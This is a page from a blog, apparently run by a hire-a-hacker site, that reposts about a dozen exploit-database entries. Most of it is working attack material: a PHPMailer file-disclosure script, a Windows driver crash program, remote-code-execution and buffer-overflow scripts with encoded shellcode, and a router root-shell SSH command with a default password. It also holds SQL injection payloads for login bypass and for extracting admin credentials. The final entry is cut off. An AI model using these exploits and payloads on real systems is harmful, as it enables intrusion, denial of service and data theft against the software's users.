Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863547135

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223

// PoC //

It requires a contact form that sends HTML emails and allows to send a copy to your e-mail

// vulnerable form example //

<?php
require_once('class.phpmailer.php'); // PHPMailer <= 5.2.21
if (isset($_POST['your-name'], $_POST['your-email'], $_POST['your-message'])) {
$mail = new PHPMailer();
$mail->SetFrom($_POST["your-email"], $_POST["your-name"]);
$address = "admin@localhost";
$mail->AddAddress($address, "root");
if (isset($_POST['cc'])) $mail->AddCC($_POST["your-email"], $_POST["your-name"]);
$mail->Subject = "PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)";
$mail->MsgHTML($_POST["your-message"]);
if(!$mail->Send()) echo "Error: ".$mail->ErrorInfo; else echo "Sent!";
}
?>
<form action="/contact.php" method="post">
<p><label>Your Name<br /><input type="text" name="your-name" value="" size="40" /></span> </label></p>
<p><label>Your Email<br /><input type="email" name="your-email" value="" size="40" /></span> </label></p>
<p><label>Your Message<br /><textarea name="your-message" cols="40" rows="10"></textarea></label></p>
<p><input type="checkbox" name="cc" value="yes" /><span>Send me a copy of this message</span>
<p><input type="submit" value="submit" /></p>

// exploit //

Put <img src="/etc/passwd"> in the message (or other file to disclose).

// python code //

#!/usr/bin/python
import urllib
import urllib2
 
poc = """
# Exploit Title: PHPMailer <= 5.2.21 - Local File Disclosure (CVE-2017-5223)
# Date: 2017-10-25
# Exploit Author: Maciek Krupa
# All credit only to Yongxiang Li of Asiasecurity
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: 5.2.21
# Tested on: Linux Debian 9
# CVE : CVE-2017-5223
"""
 
url = 'http://localhost/contact.php'
email = 'attacker@localhost'
payload = '<img src="/etc/passwd"'
values = {'action': 'send', 'your-name': 'Attacker', 'your-email': email, 'cc': 'yes', 'your-message': payload}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
html = response.read()
print html
HireHackking 
/*

Exploit Title    - Watchdog Development Anti-Malware/Online Security Pro Null Pointer Dereference
Date             - 26th October 2017
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - https://www.watchdogdevelopment.com/
Tested Version   - 2.74.186.150
Driver Version   - 2.21.63 - zam32.sys
Tested on OS     - 32bit Windows 7 SP1 
CVE IDs          - CVE-2017-15920 and CVE-2017-15921
Vendor fix url   - Will be fixed in a future release
Fixed Version    - n/a
Fixed driver ver - n/a



A null pointer dereference vulnerability is triggered when sending an operation
to ioctls 0x80002010 or 0x80002054. This is due to input buffer being NULL or
the input buffer size being 0 as they are not validated.

kd> dt nt!_irp @esi -r
   +0x000 Type             : 0n6
   +0x002 Size             : 0x94
   +0x004 MdlAddress       : (null) 
   +0x008 Flags            : 0x60000
   +0x00c AssociatedIrp    : <unnamed-tag>
      +0x000 MasterIrp        : (null) 
      +0x000 IrpCount         : 0n0
      +0x000 SystemBuffer     : (null)  <----------- null pointer


0x80002010
----------
CVE-2017-15921

kd> r
eax=00000000 ebx=80002010 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087cd9f esp=a7a80ab8 ebp=a7a80ab8 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
zam32+0xdd9f:
9087cd9f ff30            push    dword ptr [eax]      ds:0023:00000000=????????


.text:90AD9104                 push    offset aIoctl_register                        ; "IOCTL_REGISTER_PROCESS"
.text:90AD9109                 push    0                                             
.text:90AD910B                 push    edx                                           ; Pointer to "DeviceIoControlHandler" string
.text:90AD910C                 push    208h
.text:90AD9111                 push    offset aMain_c                                
.text:90AD9116                 push    1
.text:90AD9118                 call    sub_90AD3ADA
.text:90AD911D                 add     esp, 18h
.text:90AD9120                 push    esi                                           ; esi is null becomes arg_0 otherwise would point to our input "SystemBuffer"
.text:90AD9121                 call    sub_90AD8D90

.text:90AD8D90 sub_90AD8D90    proc near                                             
.text:90AD8D90
.text:90AD8D90 arg_0           = dword ptr  8
.text:90AD8D90
.text:90AD8D90                 push    ebp                                           
.text:90AD8D91                 mov     ebp, esp
.text:90AD8D93                 call    sub_90AD414A
.text:90AD8D98                 test    eax, eax
.text:90AD8D9A                 jz      short loc_90AD8DA6
.text:90AD8D9C                 mov     eax, [ebp+arg_0]                              ; Null pointer dereference 
.text:90AD8D9F                 push    dword ptr [eax]                               ; BSOD !!!!
.text:90AD8DA1                 call    sub_90AD428C
.text:90AD8DA6
.text:90AD8DA6 loc_90AD8DA6:                                                         
.text:90AD8DA6                 pop     ebp
.text:90AD8DA7                 retn    4
.text:90AD8DA7 sub_90AD8D90    endp
.text:90AD8DA7
.text:90AD8DAA


0x80002054
----------
CVE-2017-15920

kd> r
eax=861e8320 ebx=80002054 ecx=cff82bd9 edx=90889f2e esi=00000000 edi=c0000001
eip=9087d41a esp=99f4eaac ebp=99f4eadc iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
zam32+0xe41a:
9087d41a c7061e010000    mov     dword ptr [esi],11Eh ds:0023:00000000=????????


.text:90AD9401                 push    offset aIoctl_get_driv                        ; IOCTL_GET_DRIVER_PROTOCOL
.text:90AD9406                 push    0
.text:90AD9408                 push    edx
.text:90AD9409                 push    2A3h
.text:90AD940E                 push    offset aMain_c                                
.text:90AD9413                 push    1
.text:90AD9415                 call    sub_90AD3ADA
.text:90AD941A                 mov     dword ptr [esi], 11Eh                         ; BSOD !!!! Null pointer dereference otherwise would point to our input "SystemBuffer"
.text:90AD9420                 jmp     loc_90AD9622


*/


#include <stdio.h>
#include <windows.h>

int main(int argc, char *argv[]) 
{
    HANDLE         hDevice;
    char           devhandle[MAX_PATH];
    DWORD          dwRetBytes = 0;


    sprintf(devhandle, "\\\\.\\%s", "zemanaantimalware");

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("\n[-] Open %s device failed\n\n", devhandle);
        return -1;
    }
    else 
    {
        printf("\n[+] Open %s device successful", devhandle);
    }	

    printf("\n[~] Press any key to continue . . .");
    getch();

    DeviceIoControl(hDevice, 0x80002010, NULL, 0, NULL, 0, &dwRetBytes, NULL);
//  DeviceIoControl(hDevice, 0x80002054, NULL, 0, NULL, 0, &dwRetBytes, NULL);

    printf("\n[+] DoSed\n\n");
 
    CloseHandle(hDevice);
    return 0;
}
HireHackking 
# Exploit Title: Dameware Remote Controller RCE
# Date: 3-04-2016
# Exploit Author: Securifera
# Vendor Homepage: http://www.dameware.com/products/mini-remote-control/product-overview.aspx
# Version: 12.0.0.520
# Website: https://www.securifera.com/blog/2016/04/03/fun-with-remote-controllers-dameware-mini-remote-control-cve-2016-2345/
# CVE : CVE-2016-2345

import socket
import sys
import os
import time
import struct
import binascii
import random

# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
sc = ""
sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"
sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"
sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"
sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"
sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"
sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"
sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"
sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"
sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"
sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"
sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"
sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"
sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"
sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"
sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"
sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"
sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"

port = 6129

if len (sys.argv) == 2:
 (progname, host ) = sys.argv
else:
 print len (sys.argv)
 print 'Usage: {0} host'.format (sys.argv[0])
 exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "\xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 - len(buf)) * "C"
csock.send(buf)

wstr = "\x90" * 0x10 #nop sled
wstr += sc #calc shellcode
wstr += "\x90" * (0x2ac - 0x10 - len(sc))
wstr += "\xeb\x06\xff\xff" #short jump forward
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget
wstr += "\x90" * 3 #nop
wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode
wstr += "E" * 0xbc
wstr += ("%" + "\x00" + "c" + "\x00")*5

buf = struct.pack("I", 0x9c44) #msg type
buf += wstr #payload
buf += "\x00" * (0x200) #null bytes
csock.send(buf)

print binascii.hexlify(csock.recv(0x4000)) #necessary reads
print binascii.hexlify(csock.recv(0x4000))

csock.close()
HireHackking 
# Exploit Title: Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC
# Date: 22.10.17
# Exploit Author: Marcin Kopec
# Vendor Homepage: https://developer.tizen.org/
# Software Link: https://developer.tizen.org/development/tizen-studio/download#
# Version: 2.3.0, 2.3.2 (some older versions are affected as well)
# Tested on: Microsoft Windows [Version 10.0.16299.19]
# 2.3.2 (sdb.exe can be extracted from Tizen Studio 1.3 for Windows x86/x64 installation package):
# e88de99ee069412b7612d85c00aa62fc  sdb.exe
# 2.3.0:
# f9fd3896195900ec604c6f182a411e18  sdb.exe
# The file can be located in "tools" subdirectory after the extraction

# This code has been created for educational purposes only, to raise awareness on software security, and it's harmless
# by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious

# Vulnerability Discovery History
# 28/Jul/16 - Tizen Project has been informed about the vulnerability (https://bugs.tizen.org/browse/TM-249)
# 28/Jul/16 - Got suggestion from CL to inform Tizen Mobile project
# 29/Jul/16 - Moved the issue to Tizen Mobile project
# - NO RESPONSE -
# 7/Sep/16 - Escalated through Samsung security contact (BZ)
# 14/Nov/16 - Got informed by BZ that HQ is dealing with the issue with no further details
# - NO RESPONSE -
# 02/Oct/17 - Tizen Mobile project has been informed about plans to release PoC on exploit-db
# - NO RESPONSE -
# 22/Oct/17 - The PoC submitted to exploit-db


import struct
import subprocess
import sys

ARGS = " launch A A A A A "


def tech_direct_exec(sdb_path):
    # msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/shikata_ga_nai \
    # -b '\x00\x20\x0a\x0d\x1b\x0b\x0c' -f python
    buf = ""
    buf += "\xb8\xb6\x98\xe6\xfa\xdb\xcb\xd9\x74\x24\xf4\x5b\x31"
    buf += "\xc9\xb1\x30\x31\x43\x13\x83\xeb\xfc\x03\x43\xb9\x7a"
    buf += "\x13\x06\x2d\xf8\xdc\xf7\xad\x9d\x55\x12\x9c\x9d\x02"
    buf += "\x56\x8e\x2d\x40\x3a\x22\xc5\x04\xaf\xb1\xab\x80\xc0"
    buf += "\x72\x01\xf7\xef\x83\x3a\xcb\x6e\x07\x41\x18\x51\x36"
    buf += "\x8a\x6d\x90\x7f\xf7\x9c\xc0\x28\x73\x32\xf5\x5d\xc9"
    buf += "\x8f\x7e\x2d\xdf\x97\x63\xe5\xde\xb6\x35\x7e\xb9\x18"
    buf += "\xb7\x53\xb1\x10\xaf\xb0\xfc\xeb\x44\x02\x8a\xed\x8c"
    buf += "\x5b\x73\x41\xf1\x54\x86\x9b\x35\x52\x79\xee\x4f\xa1"
    buf += "\x04\xe9\x8b\xd8\xd2\x7c\x08\x7a\x90\x27\xf4\x7b\x75"
    buf += "\xb1\x7f\x77\x32\xb5\xd8\x9b\xc5\x1a\x53\xa7\x4e\x9d"
    buf += "\xb4\x2e\x14\xba\x10\x6b\xce\xa3\x01\xd1\xa1\xdc\x52"
    buf += "\xba\x1e\x79\x18\x56\x4a\xf0\x43\x3c\x8d\x86\xf9\x72"
    buf += "\x8d\x98\x01\x22\xe6\xa9\x8a\xad\x71\x36\x59\x8a\x8e"
    buf += "\x7c\xc0\xba\x06\xd9\x90\xff\x4a\xda\x4e\xc3\x72\x59"
    buf += "\x7b\xbb\x80\x41\x0e\xbe\xcd\xc5\xe2\xb2\x5e\xa0\x04"
    buf += "\x61\x5e\xe1\x66\xe4\xcc\x69\x69"

    stack_adj = "\x83\xEC\x7F" * 2  # SUB ESP,0x7F - stack adjustment
    sc = stack_adj + buf

    eip = "\x01\xed\x8b"  # 008BED01 - 3 byte EIP overwrite
    payload = "B" * 2000 + "\x90" * (2086 - len(sc) - 1) + "\x90" + sc + eip

    print "Trying to exploit the binary... "
    print "Payload length: " + str(len(payload))
    print sdb_path + ARGS + payload

    subprocess.Popen([sdb_path, "launch", "A", "A", "A", "A", "A", payload], stdout=subprocess.PIPE)


def tech_social_ascii(sdb_path, jmp_esp_addr):
    eip = struct.pack('<L', int(jmp_esp_addr, 0))
    # msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=ESP -f python
    buf = ""
    buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
    buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
    buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
    buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
    buf += "\x6b\x4c\x4d\x38\x4e\x62\x77\x70\x63\x30\x35\x50\x71"
    buf += "\x70\x6f\x79\x79\x75\x50\x31\x69\x50\x62\x44\x6c\x4b"
    buf += "\x32\x70\x34\x70\x6e\x6b\x76\x32\x36\x6c\x6c\x4b\x63"
    buf += "\x62\x45\x44\x6e\x6b\x61\x62\x37\x58\x76\x6f\x6f\x47"
    buf += "\x70\x4a\x51\x36\x44\x71\x69\x6f\x4c\x6c\x45\x6c\x55"
    buf += "\x31\x61\x6c\x36\x62\x54\x6c\x47\x50\x39\x51\x78\x4f"
    buf += "\x74\x4d\x67\x71\x69\x57\x68\x62\x6b\x42\x36\x32\x53"
    buf += "\x67\x4c\x4b\x61\x42\x52\x30\x6c\x4b\x31\x5a\x67\x4c"
    buf += "\x4e\x6b\x32\x6c\x57\x61\x53\x48\x59\x73\x62\x68\x67"
    buf += "\x71\x48\x51\x36\x31\x6c\x4b\x31\x49\x47\x50\x35\x51"
    buf += "\x38\x53\x6e\x6b\x30\x49\x55\x48\x68\x63\x34\x7a\x31"
    buf += "\x59\x4c\x4b\x50\x34\x6c\x4b\x33\x31\x5a\x76\x70\x31"
    buf += "\x6b\x4f\x6c\x6c\x79\x51\x78\x4f\x46\x6d\x35\x51\x58"
    buf += "\x47\x50\x38\x39\x70\x70\x75\x79\x66\x64\x43\x43\x4d"
    buf += "\x4c\x38\x55\x6b\x63\x4d\x61\x34\x70\x75\x6d\x34\x72"
    buf += "\x78\x4e\x6b\x61\x48\x45\x74\x47\x71\x78\x53\x72\x46"
    buf += "\x6c\x4b\x44\x4c\x62\x6b\x4c\x4b\x51\x48\x35\x4c\x43"
    buf += "\x31\x69\x43\x6c\x4b\x67\x74\x4e\x6b\x55\x51\x6e\x30"
    buf += "\x6b\x39\x50\x44\x65\x74\x37\x54\x53\x6b\x63\x6b\x73"
    buf += "\x51\x72\x79\x71\x4a\x72\x71\x4b\x4f\x59\x70\x43\x6f"
    buf += "\x33\x6f\x32\x7a\x4e\x6b\x62\x32\x5a\x4b\x4e\x6d\x51"
    buf += "\x4d\x32\x4a\x65\x51\x6e\x6d\x6b\x35\x6e\x52\x55\x50"
    buf += "\x73\x30\x63\x30\x46\x30\x30\x68\x55\x61\x4c\x4b\x52"
    buf += "\x4f\x4f\x77\x69\x6f\x5a\x75\x4d\x6b\x6c\x30\x6f\x45"
    buf += "\x4c\x62\x53\x66\x30\x68\x79\x36\x4a\x35\x4d\x6d\x6f"
    buf += "\x6d\x6b\x4f\x39\x45\x75\x6c\x55\x56\x53\x4c\x56\x6a"
    buf += "\x6b\x30\x39\x6b\x6b\x50\x64\x35\x76\x65\x4d\x6b\x32"
    buf += "\x67\x42\x33\x62\x52\x32\x4f\x71\x7a\x45\x50\x31\x43"
    buf += "\x69\x6f\x6e\x35\x61\x73\x31\x71\x52\x4c\x73\x53\x75"
    buf += "\x50\x41\x41"

    stack_adj = "\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A"
    stack_adj += "\x2d\x66\x4f\x66\x47\x2d\x4c\x31\x4c\x36\x2d\x67\x39\x6a\x2a\x2d\x57\x57\x57\x57\x50"
    stack_adj += "\x50\x5C" + "A" * 4
    ascii_nop_sleed = "C" * 70
    payload = sdb_path + ARGS + "A" * 4086 + eip + "\x77\x21\x42\x42\x20" + ascii_nop_sleed + stack_adj + buf
    print "Now sdb.exe user could be asked to run the following code from cmd line:"
    print payload
    f = open("sdb_poc.txt", 'w')
    f.write(payload)
    f.close()
    print "The payload has been also saved to sdb_poc.txt file for your convenience"


def bonus_exercise():
    print """Can you spot the bug here?
    
int launch_app(int argc, char** argv)
{
	static const char *const SHELL_LAUNCH_CMD = "shell:/usr/bin/sdk_launch_app ";
	char full_cmd[4096];
	int i;
	
	snprintf(full_cmd, sizeof full_cmd, "%s", SHELL_LAUNCH_CMD);

	for (i=1 ; i<argc ; i++) {
		strncat(full_cmd, " ", sizeof(full_cmd)-strlen(" ")-1);
		strncat(full_cmd, argv[i], sizeof(full_cmd)-strlen(argv[i])-1);
	}
}       
"""


def usage():
    print """Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC
by Marcin Kopec <m a r c i n \. k o p e c @ h o t m a i l . c o m>

Demonstrated Exploitation Techniques: 
1: Direct execution, 3-byte EIP overwrite, Stack adjustment
2: Payload for social engineering attack, JMP ESP (!mona find -s "\\xff\\xe4" -cp alphanum), Alphanumeric shellcode
3: Bonus exercise - source code analysis

This code has been created for educational purposes only, to raise awareness on software security, and it's harmless 
by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious

Usage: python sdbBOpoc.py [Technique_ID] [Path_to_sdb.exe] [Address_of_JMP_ESP]
Examples: python sdbBOpoc.py 1 C:\Tizen\Tools\sdb.exe
          python sdbBOpoc.py 2 C:\Tizen\Tools\sdb.exe 0x76476557
          python sdbBOpoc.py 3"""


def main():
    if len(sys.argv) > 1:
        if int(sys.argv[1]) == 1:
            if len(sys.argv) == 3:
                tech_direct_exec(sys.argv[2])
        if int(sys.argv[1]) == 2:
            if len(sys.argv) == 4:
                tech_social_ascii(sys.argv[2], sys.argv[3])
        if int(sys.argv[1]) == 3:
            bonus_exercise()
    else:
        usage()


if __name__ == '__main__':
    main()
HireHackking 
# Exploit Title: Privilege escalation MitraStar routers
# Date: 28-10-2017
# Exploit Author: j0lama
# Vendor Homepage: http://www.mitrastar.com/
# Provider Homepage: https://www.movistar.com/
# Models affected: MitraStar DSL-100HN-T1 and MitraStar GPT-2541GNAC (HGU)
# Software versions: ES_113WJY0b16 (DSL-100HN-T1) and 1.00(VNJ0)b1 (GPT-2541GNAC)
# Vulnerability analysis: http://jolama.es/temas/router-attack/index.php

Description
-----------
SSH has a bad configuration that allows execute commands when you connect avoiding the default shell that the manufacturer provide us.

$ ssh 1234@ip /bin/sh

This give us a shell with root permissions.

Note: the password for 1234 user is under the router.

You can copy all file system to your local machine using scp.
In some of the MitraStar routers there is a zyad1234 user with password zyad1234 that have the same permissions of the 1234 user (root).


Solution
--------
In the latest firmware versions this have been fixed. 
If you try to execute scp, the router's configuration file will be copy to your computer instead of any file as occurred before.
HireHackking 
###################################################
[+] Author : Venkat Rajgor
[+] Email : Venki9990@gmail.com
[+] Vulnerability : SQL injection
###################################################
E-mail ID : support@phpsugar.com
Download : http://www.phpsugar.com
Web : http://www.phpsugar.com
Price : $39 USD
###################################################
Vulnerable parameter: http://x.x.x.x/playlists.php?playlist=
Application : PHPSUGAR PHP Melody version 2.6.1
Vulnerability : PHPSUGAR PHP Melody 2.6.1 SQL Injection
###################################################

Description : In PHPSUGAR PHP Melody CMS 2.6.1, SQL Injection exists via the playlist parameter to playlists.php.

Payload Used : ' UNION SELECT null,concat(0x223c2f613e3c2f64 69763e3c2f6469763e,version(),0 x3c212d2d),null,null,null,null ,null,null,null,null,null-- -
HireHackking 
# # # # # 
# Exploit Title: Newspaper Magazine & Blog CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://geniusocean.com/
# Software Link: https://codecanyon.net/item/mymagazine-fully-responsive-magazine-cms/19493325
# Demo: http://demo.geniusocean.com/newspaper/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15981
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/admin_process.php?act=editpollform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),0x33,0x34,0x35,VerSiOn(),dAtAbAsE(),0x38,0x39,0x3130,0x3131,0x3132--+-
# 
# http://localhost/[PATH]/admin/admin_process.php?act=cateditform&id=[SQL]
# 
# -2'++/*!00022UNION*/+/*!00022SELECT*/+0x31,/*!00022cOnCat*/(username,0x3a,password),0x33,0x34,0x35+/*!00022from*/+admin--+-
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: US Zip Codes Database Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://rowindex.com/
# Software Link: https://www.codester.com/items/4898/us-zip-codes-database-php-script
# Demo: http://rowindex.com/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15980
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?action=lookup-county&state=[SQL]
# 
# 11'+/*!08888UniOn*/+/*!08888Select*/+(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# Parameter: state (GET)
#     Type: UNION query
#     Title: Generic UNION query (NULL) - 1 column
#     Payload: action=lookup-county&state=' UNION ALL SELECT CONCAT(0x716a717071,0x766a414e736e79524546725053474f72754d764a4772697a65666a7551464b46435141414d4e616c,0x7170707071)-- hvbM
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://odallated.com/
# Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network
# Demo: https://odallated.com/shareet/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?photo=[SQL]
# 
# Parameter: photo (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs
# 
# Etc..
# # # # #
HireHackking 
# # # # # 
# Exploit Title: AROX School ERP PHP Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://arox.in/
# Software Link: https://www.codester.com/items/4908/arox-school-erp-php-script
# Demo: http://erp1.arox.in/
# Version: CVE-2017-15978
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/office_admin/?pid=95&action=print_charactercertificate&id=[SQL]
# http://localhost/[PATH]/office_admin/?pid=95&action=edit&id=3[SQL]
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=print_charactercertificate&id=3 AND SLEEP(5)
# 
# Parameter: id (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: pid=95&action=edit&id=3 AND SLEEP(5)
# 
# Etc..
# # # # #
HireHackking 
<!--
# # # # # 
# Exploit Title: Protected Links - Expiring Download Links - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://sixthlife.net/
# Software Link: https://codecanyon.net/item/protected-links-expiring-download-links/2556861
# Demo: http://protectedlinks.net/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15977
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
-->
<form name="login" method="post" action="http://localhost/[PATH]/index.php">
<div id="login">
<table width="200" border="0">
<tr>
<td height="45"><p>Username</p></td>
<td><label for="textfield"></label>
<input type="text" name="username" id="textfield" value="' UNION ALL SELECT 1,CONCAT(VERSiON(),0x494853414e2053454e43414e),3,4,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari"/></td>
</tr>
<tr>
<td height="45">Password</td>
<td><label for="textfield"></label>
<input type="password" name="password" id="textfield" value="Ver Ayari"/></td>
</tr>
</table>
</div>
<input type="submit" name="submit" value="LOGIN" />
</form>
HireHackking 
# # # # # 
# Exploit Title: Sokial Social Network Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.sokial.net/
# Software http://www.sokial.net/demonstrations-social-network.sk
# Demo: http://demo.sokial.net/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/members_view.php?id=[SQL]
# 
# 2271+aND(/*!00033SelEcT*/+0x30783331+/*!00033frOM*/+(/*!00033SelEcT*/+cOUNT(*),/*!00033cOnCaT*/((/*!00033sELECT*/(/*!00033sELECT*/+/*!00033cOnCaT*/(cAST(dATABASE()+aS+/*!00033cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00033wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00033rAND*/(0)*2))x+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00033aNd*/+1=1
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: id=2271 RLIKE (SELECT (CASE WHEN (8371=8371) THEN 2271 ELSE 0x28 END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
